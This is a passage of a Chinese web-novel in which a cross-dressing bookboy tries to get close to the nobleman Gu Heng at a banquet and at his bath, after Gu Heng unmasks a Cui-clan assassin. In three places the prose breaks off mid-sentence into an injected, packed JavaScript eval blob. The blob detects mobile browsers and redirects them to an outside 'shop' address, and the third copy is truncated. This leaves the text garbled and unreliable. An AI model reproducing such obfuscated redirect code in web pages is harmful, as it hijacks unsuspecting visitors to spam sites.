瑛姑听这话也是一愣,随后脸色一沉,不顾那人挣扎,伸手在那人脸庞上一阵摸索,果然在边缘处摸出些微不同,扯着边角用力一撕,撕下一张栩栩如生的粗犷人皮面具,露出保养得宜的白皙中年面孔。 男人苦笑道:“果然瞒不了你。” “但我很好奇,你是怎么看出来的?我自认我的供述很完美,也未曾暴露武功路数。” 顾珩微笑道:“过于完美就是疑点。能和初砚打上近百回合而不暴露本家功夫的不多,你右手剑法虽然十分熟练,可左手虎口处都是化不去的老茧,明显是个左撇子,这样一来,对得上号的就更少了。 你顶的这张脸,可不是惯使左手剑法的人。” 那人咬牙道:“即便如此,也不能认定我就是崔家人。” 顾珩:“从剩下的人里随便挑一个诈诈你罢了,碰巧猜对了。” “连这种细节都知道得一清二楚,你果然在各府里插了不少眼线。” 顾珩微微一笑,也不否认:“全赖诸位名头响了。” 那人冷笑一声,片刻后才道:“我那一击连铜板都能击穿,却被你用一茶杯挡下,内力简直堪称恐怖。你是何时习武,怎会一点风声都没有?” 顾珩道:“读书启蒙时听闻孔夫子周游列国的故事,有所启发,自幼习武。” “自幼习武却还能给全京城留下一个手无缚鸡之力的印象……真不愧是他顾恒岳教出来的儿子,心机城府真真是一脉相承。” 顾珩微笑道:“见笑了。” 瑛姑撇嘴不语。 那人还在兀自感叹:“难怪你敢只带两人离京,难怪一路上这二人会那么轻易就中了调虎离山之计,难怪派出去的人无一返还……” 顾珩问道:“我也有一事不明。你们那么多幕僚,为什么从没有一个人想过对我用美人计?” 那人一怔,随后觉得很荒诞地道:“美人计?京都谁人不知你顾璟璋……” 话说一半他生生止住了,哼声道:“你固然聪明过人,却也莫要把旁人都当傻子。” 顾珩眉毛一挑,颇有些遗憾地叹了口气。 那人不想再跟顾珩废话,别开头慨然道:“我既已落到你小子手里,要杀要剐,请便吧!” 顾珩一刀砍断缚着几人的绳子,笑道:“我岂是那等心狠手辣之辈,按辈分,璟璋还得称呼您一声表叔,即便表叔是为取我性命而来,我却仍是心软下不去手。” 三人齐齐一怔,“你又在耍什么把戏?” 顾珩叹道:“璟璋乃一片真心。” 那中年男人冷笑一声,“不过是一条烂命,我等就算自戕,也绝不做你手里的棋子。”说着就抢刀欲要自尽。 顾珩拦下:“且慢动手。表叔不若先听我一言,听完后你若还要自戕,我绝不阻拦。” 中年男人眸光闪烁,看着他没说话。 顾珩就笑道:“你们欲拥立陛下宠爱的第十四子登基称帝,只是,若陛下得知皇十四子不是他的子嗣,而是你崔家人的血脉时,你说,你们崔家和皇十四子会是何等下场?” 话音刚落,一人突然倒地不起。 顾珩惊讶看去,这人却是先前便咬舌自尽,此时方才丧命。 “怎么如此性急。” 那中年男人丝毫没注意到这点,他脸色大变,眼神惊惧中带着不可置信,失声叫道:“当年老人早已全部身死,你是如何知晓?!” 瑛姑闻言也是吃了一惊。 顾珩却只是道:“你猜呢?” 那人眼神一凝,很快道:“有叛徒!!” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463586|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩微笑:“表叔现在赶回去示警,或许还来得及。” “陛下不会信你。” “那赵郡李氏、荥阳郑氏、太原王氏……这些人的话,陛下会信吗?” 那人死死盯着他:“你把消息卖给了他们?” “只告诉了几个来杀我的人罢了,都是经常走动的表亲,我如何下得去手,又不好让他们白跑一趟,实在是没办法。只是他们比表叔你早走几日,表叔若不快些走,恐怕真就无法挽回了。” 这话听着恶心,那中年男人忍着,思考他此举深意,片刻后道:“你想让我们世家自相残杀?妄想!” 顾珩:“我只是被追烦了,想松口气而已。表叔若信任他们,自戕便是,我绝不阻拦。” “若不是太子和你爹从中作梗,你还能活到今天?如果你是把太子和顾恒岳当作倚仗,那就走着瞧吧!”放完狠话,两人夺门而出。 外面瞬间响起一阵拔刀声。 顾珩走出去,“让他们走。” 二人扬长而去。骑马赶路时,另一人问道:“三哥,三哥?在想什么?” 中年男人摇摇头,“没什么。”把思绪从那个百无聊赖蹲在地上、怎么看怎么怪的书童身上收回,心想不过一个不懂规矩的书童而已,想是什么县丞主簿之流带出来的,没什么打紧。 另一人犹豫道:“那现在怎么办,差了两天,我们骑马肯定是赶不上了。” “赶不上也要赶,绝不能让那几家的人把消息传回京城!” - 柳棠见顾珩出来,便赶紧凑上前刷存在感。 效果显而易见是有的,就是太狠了点,居然让她生出了“任务不过如此”的轻狂想法。 顾珩从大牢里出来,遣了瑛姑初砚去休息,竟指名让她一人随身伺候。 “天色不早了,我要赴宴,你来伺候我穿衣梳洗。” 柳棠脚下一个趔趄。任务才刚发布,就等来贴身伺候的活儿,真是口渴了有人递水,正合心意啊。 顾珩见她站着不动,道:“怎么,不愿意?” 柳棠立时回神,笑得谄媚:“愿意愿意,能伺候公子这样英明神武丰神俊朗的君子,小人求之不得。” 11. 第 11 章 柳棠跟着顾珩往东院走,一路畅想不断。 待会儿她就站顾珩面前给他系腰带,正好他那时候双臂展开,她直接一步上前环住他整个腰身,不正好就抱上了? 唉,毫无难度! 柳棠精神抖擞。 到了地方,柳棠在屋子里隐晦地左瞟右瞟,寻找衣柜。正要问这人是参加什么场合的宴会,好决定帮他找衣服时,就听这人道:“你跟进来做什么?去打一盆热水来。” 大爷的,这狗人还真把她当仆从使唤。 为了计划顺利进行,柳棠咬牙忍之,抱着铜盆去火房装热水,后端着大半盆热水气喘吁吁地七拐八绕转回来,“公子,热水来了,小人伺候您洗脸吧。” 顾珩伸手撩了撩水,“太烫了。” 进门前柳棠试过水温,就比她的体温大概高个四五六七八度,十分的舒爽怡人,这能叫烫? 她怀疑地看了眼顾珩,两人视线对上,柳棠先一步认怂,“小人去兑点冷水。” 走到院子里的大水缸边上,柳棠恨恨地把水瓢砸进水里。她一个新时代进步青年,竟然在封建大地主面前不自觉就软了膝盖,可恶! 晃动的水波映着半棵树影半边晚霞,挺好看。 柳棠被晃得分了神,躬身照了照自己的脸,只觉得剑眉星目,英武非凡,就是衣服太丑了,要是换上顾珩的那身青竹衫,小扇子一摇,指不定谁更像大户人家的公子哥呢。 柳棠咧嘴笑了笑,给自己哄高兴了。拿瓢舀了一点凉水倒进盆里,晃悠匀了,又端回去。 才走进门扫了顾珩一眼,柳棠就知道坏事了,这货自己把衣服给换了。 顾珩瞧她一眼,“杵着做什么?把水端来。” 柳棠震惊又失望地道:“公子怎么自己把衣服换上了?”她就去添了瓢水,两分钟都不到,换这么快难道是在故意防着她?因为那天她拿工具抵着他? 柳棠觉得自己有必要找个合适的时机解释一下。 顾珩动作顿了一下,很奇异地看她一眼,“怎么,你的意思是该让你来?” “当然,小人不就是干这个的吗?”柳棠忍辱负重地道。 她把帕子浸水拧干递给他,顺势打量了一下他刚换的这身藏青色外袍。这颜色显白显高显瘦,他往那一站,自有一派威严气度,稳重得像个久经风霜的大官儿。 她大胆谏言:“公子这身显老气,是赴很正式的宴吗,还是跟朋友私下小聚?若是与朋友小聚,公子不若穿浅色衣服;若是拜见长辈,浅色衣服更是能衬出您的亲切活泼……”总之让我帮你换衣服就对了。 顾珩:轻浮放荡,不知羞耻。 他擦擦手,把帕子扔回盆里,似笑非笑道:“难道你觉得在这方面你比我更有话语权吗?” 这是嫌她多嘴了,还是在警告她注意尊卑? 柳棠一愣过后从善如流:“公子说得对,小人不该学到点东西就到处卖弄,还在专家面前班门弄斧,惹人发笑。小人往后一定跟着公子多看多学,谨言慎行,争取进步。” 丫的,这样夸张的阶级天堑之下,古代那些当丫鬟的到底是怎么上位的,她怎么一点头绪也没有? 两个人一齐出门,顾珩坐马车,柳棠左右脚交替工作。 到了客栈,顾珩到包间坐下了,柳棠则拿着帖子让小二帮忙引路,等人家答应见自己了,这才过去递帖子:“我家公子顾珩顾璟璋有请裴老先生到雅间一叙。” 那人怀疑地看她一眼,接过帖子看了看:“稍等,我去请示老爷。” 等了一会,一个十分眼熟的红光满面胖老头出来,笑着说:“璟璋在何处?” 柳棠就上前应声,准备引路。 裴简在察言观色这门功夫已经修炼得炉火纯青,当下就瞧出了柳棠隐晦的诧异,留了神,将人细细一看,顿时心中一动,暗道有趣,面上却是不动声色。 他笑望着柳棠,“以前没见过你,可是璟璋新招的?” 柳棠也不瞒他:“老爷好眼力,小人确是今儿个才入府。” “叫什么名字?” “姓柳名堂,柳树的柳,公堂的堂。” 裴简笑眯眯地:“好孩子,在璟璋身边好好干,我很看好你。” 柳棠被这突然的热情弄得有些莫名其妙,笑着恭维两句,正好把人带到雅间,顾珩起身来迎,寒暄完毕,顾珩就挥挥手让柳棠跟裴简的人单开一桌去吃饭。 柳棠就真情实感地笑着退下了。 跟现代公出的餐标一样,在这本科举文里当仆从的公出,也有餐标,不过这个标准全凭主人家的良心。 顾珩这边平常给的什么标准柳棠不知道,她还没找初砚问过,不过县令府的餐标她倒是很清楚,县令比较大方,她这种级别的在这种酒楼,可以吃二百文。 柳棠对这二百文还没什么概念,她穿过来后唯一一次买东西,还是买那个果脯,一斤半就花出去一两银子。 她吃饭连汤带水的怎么也得一斤才能饱,也不知道这二百文在酒楼里能吃些什么。 刚这么想着,裴简的一位随从就很自来熟地把她一揽,几个人勾肩搭背地叫小二点菜去了,位置就在顾珩两人的雅间外面,挨着的方便照应。 柳棠差点给那个小厮来个过肩摔,强行忍下后还有些不适地身体僵硬,被另一人重重一拍肩膀:“你这小子,都跟着顾小郎君了,怎么还一副畏缩相?大方些嘛,你也不怕被赶走。” 有一人就悄悄在他耳边说:“人家当的是书童。”说完挤眉弄眼的笑。 几个人瞬间意会,憋着声儿笑得猥琐。 柳棠顶了一脑袋黑线,无语地翻个白眼,一下把将搁肩上的手甩开,没了别扭感后,她挺直脊背冷声道:“当仆人的竟敢在大庭广众之下聚众非议主子,几位是没学过规矩,还是说你们裴家的规矩就是如此?或者说你们老爷压根儿就瞧不起我们家公子,所以你们当下人的才敢如此放肆?” 四周一静。 那几个人面面相觑,裴简的贴身小厮小徐出来打圆场:“嗐,柳兄弟,这几个猫尿喝多了瞎几把扯淡,这会儿还没清醒呢,你别跟一群醉鬼计较。我家老爷跟你家公子是世叔侄,都是一家人,大伙儿看见你亲切,这才放松了心情,忘了规矩,开些混玩笑,你别往心里去,我回去就训他们去。这样,今晚的饭钱咱们几个请了,你随便点,权当赔罪了。” 另外几个人也作揖讨饶:“柳兄弟,看我这张臭嘴,我没读过书,没什么文化,就是个猪脑子,你可千万别因为我搞得主人家不高兴,今儿晚饭我请,我请,我给你赔罪、” 柳棠也不能拿他们怎么着,见好就收,笑着把话圆了过去。 点菜时几个人都让她先点,她就点了寻常的一荤一素把轮子让出去。那几个都还以为她要怎么宰人呢,看到结果后又放松又过意不去,说她“好兄弟,被唐突了竟然还顾及他们的钱袋子,实在好修养”之类的,一咬牙,竟豪气地点了两三个高端菜,要不是公务期间不能喝酒,说不定还得来两壶酒助助兴。 柳棠乐见其成。反正说好的,这顿饭她不掏钱,净赚二百文。 等菜的间隙这几人又开始吹牛,不过要收敛许多了,柳棠偶尔应两句,注意力却全在背后雅间两人的谈话上。 让她吃惊的是,这姓裴的老头,似乎就是书中那个退休致仕大理寺少卿裴简,也就是真正意义上帮陆岐走上科举之路的第一人。 他竟然这么年轻,看起来也就五十出头的样子,还这么早就已经在万安县了。 不过和裴简是世叔侄的顾珩,又是什么身份,居然能得绯衣大员频繁相约,还能让人家对他那么客气。 可惜,她的人生剧本里完全没提到过顾珩这个人。 让她更为吃惊的,是这两人居然在聊办中秋赛诗会的事情,而且言谈间,最初有这个想法的,竟然是顾珩。 看来顾珩果然是某个高官的儿子不假了。 柳棠一时之间有点焦虑,一方面是科举文剧情开始往前推动了,她要过剧情,还得做限制文任务,还想整一整陆岐,但又得干书童的杂活,未来是可以预见的忙碌;另一方面则是担心自己以后无法脱身,连累柳母。 很快,里面开始上菜了。 顾珩和裴简两人就开始说些没用的场面话、开始喝酒了。 没过多久,她们这里也开始上菜了。 望着相当丰盛的一大桌,柳棠肚子开始打雷,暴食欲疯涨。在那几位的谦让中,她毫不犹豫地把桌上的酱香大肘子挑走了四分之一。 软软糯糯,肥而不腻,味道醇厚。 好吃! 柳棠进入干饭模式。 一刻钟不到,柳棠结束战斗。其他几人也吃了六七分饱,见里面没动静,便放慢了速度,又开始有一搭没一搭地吹牛。 柳棠估计里面的也吃得差不多了,因为话突然变密集了。 “贤侄,你我难得一聚,也不知今后还有无见面机会,一想到此,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463587|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心伤感啊。贤侄,来饮此杯。” “世伯不必伤怀,无法见面还可书信往来。” “你这话一说,我更伤感了,来,满饮此杯,你我不醉不归。” “……”顾珩吨吨吨。 “贤侄啊,你也老大不小了,是时候该成家了。这话放平常时候我都不说,也就趁着酒劲儿上来了跟你掏点心窝子话……来,喝!” 顾珩吨吨吨。 “贤侄啊……” “世伯……” “喝!” 吨吨吨 柳棠听得心花怒放,喝酒好啊,多喝点好啊,裴简加油啊,继续劝啊,往死里灌啊!最好把他灌醉,灌到神志不清,能让她想干什么就干什么。 柳棠默默掰手指头记顾珩喝了多少。 旁边的小徐见她嘴角上翘,笑得开心,也笑着问:“柳兄弟想啥呢,这么高兴?” 柳棠眉眼飞扬:“自然是高兴的事儿。” 小徐看见她掰动的手指,眸光一动,却是意有所指地打趣道:“瞧你,几百钱也值当这么高兴,等你办好了事,上头少不了你的赏钱。” 平白得两百文柳棠确实高兴,但她想的不是这事儿,用“是是是”、“好好好”、“我省的”此类句式敷衍过去。 又等了一会儿,柳棠眼看手上的数要上二十了,裴简都有些大舌头了,顾珩还气定神闲的,就有些焦灼。 裴老头你撑住啊,争取把顾珩灌趴下! “贤侄,来,再陪世伯喝一杯……咦,怎么没酒了?呵呵、小二,小二!快拿酒来。”裴简醉醺醺地道。 顾珩声音平缓,毫无酒意:“世伯莫要再喝了,身体要紧。” 裴简眯着眼睛看他,声音糊糊的:“不不不,贤侄莫要小瞧了世伯,世伯我还能喝,小二,拿酒来!” 柳棠听得心焦不已,频频用余光看向楼道口,急得要死。这小二到底听没听见,快点拿酒来啊,再耽搁一会儿,老裴就该趴下了。 她都想直接跑下去把小二拎上来,但没有上头发话,她是不能自作主张的。 旁边的小徐见她焦灼,眼中闪过一丝笑意,高声喊了一句:“老爷,公子,可要我下去取酒来?” 顾珩的声音传出:“不必,世伯已经醉了。你们来人把世伯扶回去好生伺候。” 那几个人赶紧停下筷子抹了嘴,听命进去把已然醉死过去的裴简背回了房间。 小徐走在最后,跟二人道别,离去前意味深长地看了柳棠一眼。 柳棠没懂他那个眼神是什么意思,只莫名其妙起了几块鸡皮疙瘩,让她很是不适。 “我们也走。”顾珩站了起来,虽一身酒气却毫无不适地往外走,眼尾飘起两抹绯红,面部也较平时更有血色一些,说不出的生动和艳丽。 此刻天已黑透,暖色的灯光将他整个人都衬得更为立体。 柳棠脑子里反复重映他昳丽的脸,和微微滚动的高耸的喉结,伸手扇了扇风。 这个人喝过酒之后看着好色。 跟着出去的时候,好多人盯着顾珩看,柳棠有浅浅的一点不舒服,但很快被她抛在脑后。 她亦步亦趋地跟着,“公子,你还好吗?” 有事就让我来扶啊!我可愿意扶了,你就算直接倒我怀里我也不生气,我铁定使出洪荒之力给你背回去。 来啊,投入我坚实的怀抱啊! 柳棠想得奔放,说得克制,这割裂感让她有种自己是什么大变态的错觉。 “无碍。” 柳棠觉得他多少是有点醉了的,因为他表情有点严肃,不像平时那样胜券在握、从容不迫的样子。 毕竟二十多杯呢。 她要是现在抱上去,这家伙酒醒之后会记得吗,现在到底有没有喝断片?她别一抱上去,这人直接给自己来一套降龙十八掌吧?而且现在人来人往的好像也不太合适…… 机会稍纵即逝,在柳棠犹豫纠结之中,顾珩上了马车。 柳棠松了口气,心里又觉得有些可惜。跟着马车往县令府的方向往回走,一路琢磨着回府之后独处的可能性。 “公子,到了。” “嗯。”顾珩从容下车,柳棠不死心地亦步亦趋跟着。 迈大门门槛的时候,顾珩磕绊了一下,柳棠赶紧上前一把搀住他的胳膊,“公子,我扶您进去。” 柳棠小心机地走在他侧前方,蔫坏地把脚放在他脚前面,只等他一绊之下,自发投入怀中。 12. 第 12 章 没想到一贯先迈左脚的家伙这回居然先迈了右脚。 这一大跨步,带动他整个身子往前倾。 顾珩自己长得又高又壮,这一步迈出看着挺正常,但这个距离对于个子不高的柳棠来说就很夸张。 柳棠紧抓着顾珩的胳膊,还想着待会儿用什么姿势把人接住,身体就猝不及防被猛地一带,骤然失去平衡,一脚磕在门槛上,就要往前飞出跌个狗吃屎。 惊骇之下,柳棠死死拽住顾珩胳膊,身体往前然后回旋,双腿一软给两只脚将将踏进门槛的顾珩拜了个大年。 “你在干什么?” 干什么,她还想问呢。观察这么久,明明这人一直是先迈左脚,怎么这会儿就先迈右脚了,装醉整她吗? 柳棠有些头昏眼花地抬头,脸上擦过丝绸片一样的东西,又顺着后脑滑过去,眼前突然就黑了下来,预想中顾珩的脸并没有出现,窄窄的空间里,柳棠看见了两条腿的轮廓,大脑一时有些空白。 草了。 她钻到顾珩蔽膝里去了。 不远处墙头上,看见这一幕的瑛姑整张脸都皱在一起了,憎恶道:“下流的东西!公子怎么不杀了他?!” 初砚皱着眉头没说话。 “他到底在干什么,为什么不动了?”瑛姑耐不住又看了回去,顿时焦灼烦躁,“这像什么样子,成何体统?!” “公子当真喝醉了不成,就容这下流东西如此亵渎?” 初砚:“公子内力深厚,醉不了。” “那你告诉我这是在干什么?!” 初砚指了指:“出来了。” 柳棠大脑宕机片刻便清醒过来,抓着顾珩蔽膝狠狠一摔,一下子蹿起来,迎着顾珩冰凉凉的眸子,滔天的羞耻与怒火化作一句:“公子的腿可真长啊哈哈……” 顾珩冷笑一声,摔袖径直往前。 柳棠追上去:“公子我扶着你啊,小心小心,这里有道石坎儿……” 顾珩抿唇躲开她掐过来的手。 柳棠只觉得眼前一花,即将被瓮中捉鳖的那条胳膊就不见了踪影,一眨眼却又回到原位置,只是刚好和自己伸过去的手错开。 他似乎走得更快了,柳棠迈着大步子有点气喘。 “公子你没喝醉吗?” “废话。” 大爷的,没喝醉刚才晃什么?柳棠咬牙切齿地冲他背影竖神秘中指做法。 “公子我刚才不是故意的,我差点摔飞出去了,也不知道怎么回事,就钻到您衣服里去了,我发誓我什么也没看见,真的,您袍子还挺厚的……” “闭嘴!” “哦……” 一路上一直没找到下手机会,柳棠看着他的背影,不止一次地想着:其实假装跌倒冲上去从后面抱他好像也不是不行? 不过柳棠不敢赌。 顾珩是会武功的,她怕这人突然暴起让她暴毙。 柳棠看看天上的月亮,幽幽叹了口气。啥好处也没捞着,这破班儿就加到这儿为止了。 “那公子如果没别的事,我就先回去了?”把人一路送进宅门,柳棠嘴皮一碰就想溜。 顾珩脚步一顿,侧身看了她一眼,“本公子突然觉得有点头晕,你伺候我回屋躺下。” 柳棠闻言一愣,疑惑地看他一眼。 是吗,可我看你走路稳得一批啊。 像看出柳棠心中所想般,顾珩又刻意走了几步,微微带着蛇之意境,左摇又右摆。 柳棠想不出来顾珩骗自己的理由,最多最多,可能就是想看看她在他熟睡之后,会不会偷东西? 无语。 她生平最瞧不起偷鸡摸狗之人! 柳棠大义凛然地接受了顾珩的考验。 然后差点累折腰弄断胳膊跑断腿。 又一桶热水倒进大木桶,柳棠在心里把顾珩骂了个半死,喝醉了你就老老实实倒下,洗什么澡啊! “公子,六桶热水应该够了吧?”柳棠有些咬牙切齿。 火房大姐说这事儿以往都是初砚代劳的,这狗比今天早早给初砚放了假,就是在这儿等着她呢? 心疼老属下就能可劲儿折腾她了吗? 她是来做这个的吗,你加钱了吗?嗯? 顾珩看着“浅草才能没马蹄”的水:“应该没有人在沐浴的时候只洗脚吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463588|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳棠在阴暗处狞笑:“小人两桶水够洗全身。”六桶水,村里杀年猪也就这待遇了! 顾珩看看她,道:“确实不高。” 柳棠当场掐按人中进行自我抢救。谁能来帮她把这狗比按倒啊?她真受不了了。 又提了两桶水,顾珩看着精疲力尽的柳棠也没再刁难,想了想道:“你来伺候我沐浴。” 柳棠脑门上缓缓冒出一个问号,终于没忍住道:“公子,我是来当书童的,今天多干这么多活儿,月钱会给我多发些吗?” 这种问题这么多年还是第一次有人问他,顾珩难得一愣,问道:“你月钱是多少?” “五百文。” 杀千刀的,这点钱,她想买一斤果脯都得两个月不吃不喝才买得起。 “不少了。”京城里普通丫鬟的月钱也才将将一两银子,“你很缺钱?” 天杀的,这难道是缺不缺钱的问题吗? 柳棠快要维持不住笑容。谁要跟你扯这些啊,她的目标是为了完成任务,不是来应对你各种试探的好吗? 你要真醉了就直接躺下啊,我肯定给你收拾得干干爽爽的,你这醒得好好的,谁还能抱得了你啊? 她就是不想伺候了,懂? 柳棠打个哈哈道:“小人年纪不小了,家里一直催着让成家呢,这不老婆本儿还没攒够嘛,银子自然是缺的了。” “你还想娶个老婆?” 柳棠是真有些忍不了了,“公子这话是什么意思?” “你还挺有志向。” 柳棠:神经啊!! 柳棠沉着脸:“公子要没别的事小人就退下了。” “来伺候我沐浴。”顾珩若有所思地看着她,补充道,“完事儿赏你二两银子当老婆本儿。” 柳棠:??? 你是不是那个沙什么茶啊?听不出来别人的言外之意吗? 柳棠把自己代入到那个想娶老婆的男人身上:这二两银子能抵三个多月工钱,只是帮人洗个澡而已,似乎还挺划算? 淦! 柳棠绷着脸走上前:“公子请吧。” 顾珩就和柳棠走到屏风后面去了。 13. 第 13 章 房梁上的两人大眼瞪小眼。 瑛姑:我就说公子变态了,你看他什么时候要过别人给他洗澡?也不知道是从谁身上沾来的坏毛病! 初砚嘴角抽搐移开视线。 柳棠已经不指望今天能把人给抱上了,面对顾珩的试探,她应对得十分认真,甚至在怒意的加持下,即便是在给这样一个皮相可圈可点的男人宽衣解带,也丝毫没有脸红气喘。 她大大方方又极其麻利地解了他的素革带、剥了蔽膝、扯开衣带、扒开外袍…… 看着柳棠规矩到了极点、利落到了极点的动作,顾珩沉默片刻,伸手按住了即将不保的中衣。 “到此为止吧,你可以回去了。” 柳棠手上一顿,心里有些意犹未尽,但还是很干脆地收回了手。 顾珩看到了她眼里的少许遗憾,眉毛微挑,若有所思。 等柳棠退出房间,瑛姑和初砚才轻巧地从房梁上下来。瑛姑看了一眼明显在出神的公子,一撇嘴,行礼退下了。初砚则自觉地接过了柳棠的活计,继续去打水了。 柳棠左手握着二两银子,右手提着灯笼,开开心心家去了。 路上正好有人敲梆子,这会儿已经是亥时正了,大街上只稀稀拉拉几个人影,柳棠不由加快了脚步。谁叫她手里攥着二两银子呢。 明天等王管家上班了,她还能再领二百文钱。 生存压力减轻的柳棠喜滋滋的,觉得在古代混碗饭吃好像也不难。 柳母早早就关了门,坐在院子里有些心神不宁,一听后门有动静,她便赶紧起身去看。 门缝后面正是男装打扮的柳棠。 柳母见她笑吟吟的,这才放下心来,连忙打开门把人迎进来,低声问:“怎么忙到这个时候,那顾家郎君可是不好相处爱折腾人?” 柳棠拍拍柳母的手以示安慰:“没有没有,就是吩咐我做事,也不白让我干活,瞧,足足赏了我二两银子呢。” 柳母听这话心里不是滋味,想到梦里女儿住的大宅子、穿的华丽衣服、各种首饰珠宝、吃不完的珍馐等等,就越发觉得眼前这握着二两银子傻乐的正宗郡主殿下可怜。 她嘴唇嚅动正要说些什么,被柳棠抢先开了口。 “怎么在这里坐着,夜里露重,受了凉怎么办?” 院儿里石桌上亮着一盏琉璃烛灯,旁边的小篮子里鼓鼓囊囊的,用蓝布盖着,一旁有打磨木头用的细砂纸,还有针线。显然柳母之前就是坐在这里做手工活。 这话提醒了柳母,拿了篮子拉着柳棠进屋。 “我这两天琢磨了下,觉着上回给你那个有些不妥,就又改良了下,你看看。” 柳母把成品展示给柳棠看,东西更小巧也更逼真,右侧多了个小小的机关控制台,拨动划片到相应卡槽则可以变换形态,一共三个卡槽。 “有了这些纹路,乍一看跟真的差不多……我在里面存了几张干净的薄油纸,如果必须要在人前……稍微扶着点就可以,我用清水试过,不会溅出来也不会把里面弄脏,完事之后只需要在前面,像这样把油纸取出来就好,你到时候就拿手纸一拉,丢掉就好,我还专门做了两边凸起的设计,不会把手弄脏……” 柳棠一手拿着烛灯,听着柳母细致认真的讲解,有心想要正经和严肃,想以探讨高深学术问题的心态来对待和学习,但实在尴尬得不行,以致于一脸难色。 这东西看着是真扎眼,不看却又不知道怎么用,柳棠整个人僵在那里宛如一尊石雕,连眼睛都不敢眨快了。 柳母声音渐渐低下去。 柳棠随即就感觉到手上被人放了一块形状奇怪,微微冰凉又沉甸甸的东西。 “你试几次就知道怎么用了。我去睡了,你也早点休息。” 柳棠看着柳母淡定离开的背影,心里敬佩,心说还得是见过大风大浪的人,竟然能面不改色地讲解,同时又很感动。 兀自感慨一阵儿,柳棠亲自试了试。 很贴肤。很方便。很干净。很栩栩如生。很…男人。 嗯。 手艺人牛逼! 柳棠脸红心跳地把东西放好,遏止了一些不该有的迤逦想法,打水洗漱。 等躺到床上,她已经彻底心如止水了,一边思索顾珩今日的一系列奇怪行为,一边琢磨怎么把陆岐在中秋诗会上出风头的事儿给搅和了,又想着怎么才能不连累柳母…… 想着想着就睡着了。 今天实在太累了。 日子不温不火地过了几天,期间顾珩罕见地没再试探她,当然柳棠也没找到机会抱他。 瑛姑每次看她都跟看到什么脏东西似的,一脸嫌恶,远远看见她就躲得远远儿的了。 柳棠都怀疑瑛姑还记不记得之前给她放的那些狠话。 初砚更是天天一副面瘫脸,干活儿却是相当的卖力。一副生怕被她抢了饭碗的模样,一个人活出了十几个人的劲儿,密不透风地围在顾珩身边,她连顾珩的头发丝儿都碰不着。 这还没进后宫呢,她已经深刻体会到争宠的可怕了。 难怪人家那么讨厌职场上无脑内卷的人,你不怕累你去做俯卧撑腹部绕杠打拳练剑啊,去提升侍卫的自我修养啊,抢书童的活儿干是什么意思,想把老子的工作卷掉?! 两三天过去,柳棠习惯了,麻木了,觉得自己正在向扫地僧看齐,内心一整个古井无波…… 个屁! 七爷八爷已经在滴答滴答数着时间来索魂了,她只有七天好活了。这换谁谁能古井无波?再佛系的咸鱼也该换个面儿躺了。 柳棠拿他们主仆三人没办法,又正好撞着陆岐休沐,便告了假,决定先把陆岐这边的事儿给处理了。 秋分已过,这天虽然仍然是艳阳高照,但已经有了秋高气爽的味道。 今天放假,许多县学生便结友一同“畅快”。遛马的有,到酒楼里大吃大喝的也有,去自家山上打猎的也有,更有人泛舟湖上钓鱼采莲。 陆岐在县学没几个朋友,那些“雅事”竟无一人邀他一同,以往请他一起喝饮子吹晚风的几个人,也都回村上帮家里做农活去了。 倒是正方便了柳棠。 陆岐倒也识趣,柳棠一邀他就来了。 柳棠没接柳母给的银子,也不打算用前几天赚的那二两二银子,一大早提着两竹筒家里烧的凉白开,背着几个馒头花馍,就赶着陆岐往城外的寺院去。 七八里路,两个人一路走过去的。 不是柳棠吝啬,她只是不愿意给陆岐花钱。 在柳棠看来,这不到四公里的路真不算什么,大学时候跟朋友徒步哪一回不是从早走到晚? 至于原主的身体素质更是好得不行,毕竟原主偶尔也会兴起自己雕木头,大件儿小件儿的都做,几十斤的木头说搬就搬,走这几步路那是越走越起劲儿。 “表妹,等等我。” 陆岐落在后面微微气喘,路程才过三分之一,他已经出了一脑门的汗,此时看着前方柳棠一身嫩黄色衣衫,蝴蝶一样灵动翩跹、越走越远,不由面露苦笑。 他是干农活长大的,照理说不该走这么点路就觉得累。 但这两年为了抄书、赶功课长期久坐,身体素质已经大不如前,能在射御两门上得高分,除了他勤奋练习外,也有那些个士绅子弟贪玩不思进取的原因,不然以后者的条件,骑马射箭,那是想练多久就能练多久的,不愁出不来好功夫。 柳棠回头,见他累得不像样,暗暗鄙视之。 路边正好有两块大石头,柳棠想了想,挥手招他过去歇会儿。 陆岐把身上的挎包取下,先递给柳棠一竹筒水,这才拔出另一个竹筒的塞子,畅快喝了几大口,长长喟叹一声。 “还是表妹想得周到,事先就带好了水,不然这荒郊野岭的,还真找不到地方解渴。” 